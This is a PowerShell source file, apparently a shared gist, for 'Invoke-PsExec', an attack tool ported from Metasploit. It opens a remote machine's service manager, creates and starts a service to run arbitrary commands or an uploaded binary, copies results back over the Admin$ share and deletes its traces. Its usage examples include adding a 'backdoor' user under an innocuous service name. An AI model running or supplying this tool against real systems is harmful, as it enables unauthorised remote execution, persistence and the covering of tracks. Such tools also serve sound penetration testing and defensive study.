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Invoke-Psexec
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function Invoke-PsExec { | |
<# | |
.SYNOPSIS | |
This function is a rough port of Metasploit's psexec functionality. | |
It utilizes Windows API calls to open up the service manager on | |
a remote machine, creates/run a service with an associated binary | |
path or command, and then cleans everything up. | |
Either a -Command or a custom -ServiceEXE can be specified. | |
For -Commands, a -ResultsFile can also be specified to retrieve the | |
results of the executed command. | |
Adapted from MSF's version (see links). | |
Author: @harmj0y | |
License: BSD 3-Clause | |
.PARAMETER ComputerName | |
ComputerName to run the command on. | |
.PARAMETER Command | |
Binary path (or Windows command) to execute. | |
.PARAMETER ServiceName | |
The name of the service to create, defaults to "TestSVC" | |
.PARAMETER ResultFile | |
If you want results from your command, specify this flag. | |
Name of the file to write the results to locally, defaults to | |
copying in the temporary result file to the local location. | |
.PARAMETER ServiceEXE | |
Local service binary to upload/execute on the remote host | |
(instead of a command to execute). | |
.PARAMETER NoCleanup | |
Don't remove the service after starting it (for ServiceEXEs). | |
.EXAMPLE | |
> Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32 | |
Creates a user named backdoor on the 192.168.50.200 host, with the | |
temporary service being named 'Updater32'. | |
.EXAMPLE | |
> Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" | |
Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', | |
and copies the result file to "results.txt" on the local path. | |
.EXAMPLE | |
> Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe" | |
Uploads "service.exe" to the remote host, registers/starts it as a service with name | |
'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds). | |
.LINK | |
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb | |
https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb | |
#> | |
[CmdletBinding()] | |
param( | |
[Parameter(Mandatory = $True)] | |
[string] | |
$ComputerName, | |
[string] | |
$Command, | |
[string] | |
$ServiceName = "TestSVC", | |
[string] | |
$ResultFile, | |
[string] | |
$ServiceEXE, | |
[switch] | |
$NoCleanup | |
) | |
$ErrorActionPreference = "Stop" | |
# http://stackingcode.com/blog/2011/10/27/quick-random-string | |
function Local:Get-RandomString | |
{ | |
param ( | |
[int]$Length = 12 | |
) | |
$set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray() | |
$result = "" | |
for ($x = 0; $x -lt $Length; $x++) { | |
$result += $set | Get-Random | |
} | |
$result | |
} | |
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html | |
function Local:Get-DelegateType | |
{ | |
Param | |
( | |
[OutputType([Type])] | |
[Parameter( Position = 0)] | |
[Type[]] | |
$Parameters = (New-Object Type[](0)), | |
[Parameter( Position = 1 )] | |
[Type] | |
$ReturnType = [Void] | |
) | |
$Domain = [AppDomain]::CurrentDomain | |
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') | |
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) | |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) | |
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) | |
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) | |
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed') | |
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) | |
$MethodBuilder.SetImplementationFlags('Runtime, Managed') | |
Write-Output $TypeBuilder.CreateType() | |
} | |
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html | |
function Local:Get-ProcAddress | |
{ | |
Param | |
( | |
[OutputType([IntPtr])] | |
[Parameter( Position = 0, Mandatory = $True )] | |
[String] | |
$Module, | |
[Parameter( Position = 1, Mandatory = $True )] | |
[String] | |
$Procedure | |
) | |
# Get a reference to System.dll in the GAC | |
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | | |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } | |
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') | |
# Get a reference to the GetModuleHandle and GetProcAddress methods | |
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') | |
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') | |
# Get a handle to the module specified | |
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) | |
$tmpPtr = New-Object IntPtr | |
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) | |
# Return the address of the function | |
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) | |
} | |
function Local:Invoke-PsExecCmd | |
{ | |
param( | |
[Parameter(Mandatory = $True)] | |
[string] | |
$ComputerName, | |
[Parameter(Mandatory = $True)] | |
[string] | |
$Command, | |
[string] | |
$ServiceName = "TestSVC", | |
[switch] | |
$NoCleanup | |
) | |
# Declare/setup all the needed API function | |
# adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html | |
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle | |
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) | |
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) | |
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA | |
$OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr]) | |
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) | |
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA | |
$OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int]) | |
$OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) | |
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA | |
$CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr]) | |
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) | |
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA | |
$StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int]) | |
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) | |
$DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService | |
$DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int]) | |
$DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) | |
$GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError | |
$GetLastErrorDelegate = Get-DelegateType @() ([Int]) | |
$GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) | |
# Step 1 - OpenSCManager() | |
# 0xF003F = SC_MANAGER_ALL_ACCESS | |
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx | |
"[*] Opening service manager" | |
$ManagerHandle = $OpenSCManagerA.Invoke("\\$ComputerName", "ServicesActive", 0xF003F) | |
Write-Verbose "[*] Service manager handle: $ManagerHandle" | |
# if we get a non-zero handle back, everything was successful | |
if ($ManagerHandle -and ($ManagerHandle -ne 0)){ | |
# Step 2 - CreateService() | |
# 0xF003F = SC_MANAGER_ALL_ACCESS | |
# 0x10 = SERVICE_WIN32_OWN_PROCESS | |
# 0x3 = SERVICE_DEMAND_START | |
# 0x1 = SERVICE_ERROR_NORMAL | |
"[*] Creating new service: '$ServiceName'" | |
$ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) | |
Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle" | |
if ($ServiceHandle -and ($ServiceHandle -ne 0)){ | |
Write-Verbose "[*] Service successfully created" | |
# Step 3 - CloseServiceHandle() for the service handle | |
"[*] Closing service handle" | |
$t = $CloseServiceHandle.Invoke($ServiceHandle) | |
# Step 4 - OpenService() | |
"[*] Opening the service '$ServiceName'" | |
$ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) | |
Write-Verbose "[*] OpenServiceA handle: $ServiceHandle" | |
if ($ServiceHandle -and ($ServiceHandle -ne 0)){ | |
# Step 5 - StartService() | |
"[*] Starting the service" | |
$val = $StartServiceA.Invoke($ServiceHandle, $null, $null) | |
# if we successfully started the service, let it breathe and then delete it | |
if ($val -ne 0){ | |
Write-Verbose "[*] Service successfully started" | |
# breathe for a second | |
Start-Sleep -s 1 | |
} | |
else{ | |
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx | |
$err = $GetLastError.Invoke() | |
if ($err -eq 1053){ | |
Write-Warning "[*] Command didn't respond to start" | |
} | |
else{ | |
Write-Warning "[!] StartService failed, LastError: $err" | |
} | |
# breathe for a second | |
Start-Sleep -s 1 | |
} | |
if (-not $NoCleanup) { | |
# start cleanup | |
# Step 6 - DeleteService() | |
"[*] Deleting the service '$ServiceName'" | |
$val = $DeleteService.invoke($ServiceHandle) | |
if ($val -eq 0){ | |
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx | |
$err = $GetLastError.Invoke() | |
Write-Warning "[!] DeleteService failed, LastError: $err" | |
} | |
else{ | |
Write-Verbose "[*] Service successfully deleted" | |
} | |
} | |
# Step 7 - CloseServiceHandle() for the service handle | |
"[*] Closing the service handle" | |
$val = $CloseServiceHandle.Invoke($ServiceHandle) | |
Write-Verbose "[*] Service handle closed off" | |
} | |
else{ | |
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx | |
$err = $GetLastError.Invoke() | |
Write-Warning "[!] OpenServiceA failed, LastError: $err" | |
} | |
} | |
else{ | |
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx | |
$err = $GetLastError.Invoke() | |
Write-Warning "[!] CreateService failed, LastError: $err" | |
} | |
# final cleanup - close off the manager handle | |
"[*] Closing the manager handle" | |
$t = $CloseServiceHandle.Invoke($ManagerHandle) | |
} | |
else{ | |
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx | |
$err = $GetLastError.Invoke() | |
Write-Warning "[!] OpenSCManager failed, LastError: $err" | |
} | |
} | |
if ($Command -and ($Command -ne "")) { | |
if ($ResultFile -and ($ResultFile -ne "")) { | |
# if we want to retrieve results from the invoked command | |
# randomized temp files | |
$TempText = $(Get-RandomString) + ".txt" | |
$TempBat = $(Get-RandomString) + ".bat" | |
# command to invoke to pipe to temp output files | |
$cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat" | |
Write-Verbose "PsEexec results command: $cmd" | |
try { | |
# invoke the command specified | |
"[*] Executing command and retrieving results: '$Command'" | |
Invoke-PsExecCmd -ComputerName $ComputerName -Command $cmd -ServiceName $ServiceName | |
# retrieve the result file for the command | |
$RemoteResultFile = "\\$ComputerName\Admin$\Temp\$TempText" | |
"[*] Copying result file $RemoteResultFile to '$ResultFile'" | |
Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile | |
# clean up the .txt and .bat files | |
Write-Verbose "[*] Removing $RemoteResultFile" | |
Remove-Item -Force $RemoteResultFile | |
Write-Verbose "[*] Removing \\$ComputerName\Admin$\Temp\$TempBat" | |
Remove-Item -Force "\\$ComputerName\Admin$\Temp\$TempBat" | |
} | |
catch { | |
Write-Warning "Error: $_" | |
} | |
} | |
else { | |
# if we're executing a plain command w/o needing results | |
"[*] Executing command: '$Command'" | |
Invoke-PsExecCmd -ComputerName $ComputerName -Command $Command -ServiceName $ServiceName | |
} | |
} | |
elseif ($ServiceEXE -and ($ServiceEXE -ne "")) { | |
# if we're using a custom .EXE for the PsExec call | |
# upload the local service .EXE to the remote host | |
$RemoteUploadPath = "\\$ComputerName\Admin$\$ServiceEXE" | |
"[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'" | |
Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath | |
if(-not $NoCleanup) { | |
# trigger the remote executable and cleanup after | |
"[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and cleaning up." | |
Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName | |
# remove the remote service .EXE | |
"[*] Removing the remote service .EXE '$RemoteUploadPath'" | |
Remove-Item -Path $RemoteUploadPath -Force | |
} | |
else { | |
# upload/register the executable and don't clean up | |
"[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and not cleaning up." | |
Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName -NoCleanup | |
} | |
} | |
else { | |
# error catching | |
Write-Warning "'-Command' or '-ServiceEXE' must be specified." | |
} | |
} |
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